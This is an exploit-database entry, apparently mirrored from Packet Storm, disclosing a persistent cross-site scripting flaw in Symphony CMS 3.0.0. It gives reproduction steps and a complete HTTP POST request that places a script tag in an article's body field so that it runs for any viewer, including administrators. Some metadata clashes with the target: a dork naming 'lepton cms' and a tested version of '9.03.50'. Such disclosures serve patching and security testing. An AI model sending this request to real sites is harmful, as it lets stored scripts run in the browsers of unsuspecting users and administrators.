Exploit for Symphony CMS 3.0.0 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:158997
# Exploit Title: SymphonyCMS 3.0.0 - Persistent Cross-Site Scripting  
# Google Dork: "lepton cms"  
# Date: 2020-08-28  
# Exploit Author: SunCSR (Sun* Cyber Security Research)  
# Vendor Homepage: https://www.getsymphony.com/  
# Software Link: https://www.getsymphony.com/  
# Version: 3.0.0  
# Tested on: Windows  
# CVE : N/A  
  
Description:  
Cross-site scripting (XSS) vulnerabilities in Symphony CMS 3.0.0 allow remote attackers to inject arbitrary web script or HTML  
  
To Reproduce:  
Steps to reproduce the behavior:  
  
1. Login as member  
2. Go to 'Articles'  
3. Submit malicious content  
4. Anyone (inclued admin) view article and XSS excuted  
  
Expected behavior  
When admin or user view content, a pop-up will be displayed  
  
Affected componets:  
events\event.publish_article.php in Symphony CMS 3.0.0 allows XSS via fields['body'] to appendSubheading  
  
POC:  
  
POST /symphonycms/symphony/publish/articles/new/ HTTP/1.1  
Host: target  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://target/symphonycms/symphony/publish/articles/new/  
Content-Type: multipart/form-data; boundary=---------------------------17679481844164416353626544932  
Content-Length: 1111  
Origin: http://target  
Connection: close  
Cookie: PHPSESSID=b21qllug0g7ft80ueo3bn0bgcd;  
Upgrade-Insecure-Requests: 1  
  
-----------------------------17679481844164416353626544932  
Content-Disposition: form-data; name="xsrf"  
  
vr-i2mWs18DPjVmZ8z2nB-Gb3hdyrb  
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Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
5242880  
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Content-Disposition: form-data; name="fields[title]"  
  
TEST XSS  
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Content-Disposition: form-data; name="fields[body]"  
  
<script>alert('XSS')</script>  
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Content-Disposition: form-data; name="fields[date]"  
  
08/28/2020 5:55 am  
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Content-Disposition: form-data; name="fields[categories][]"  
  
2  
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Content-Disposition: form-data; name="fields[publish]"  
  
yes  
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Content-Disposition: form-data; name="action[save]"  
  
Create Entry  
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Desktop (please complete the following information):  
OS: Windows 10  
Browser: Firefox or Chrome  
Application: XAMPP, Burpsuite  
  
Additional context  
Tested on: 9.03.50 verison  
POC at: https://vimeo.com/405740251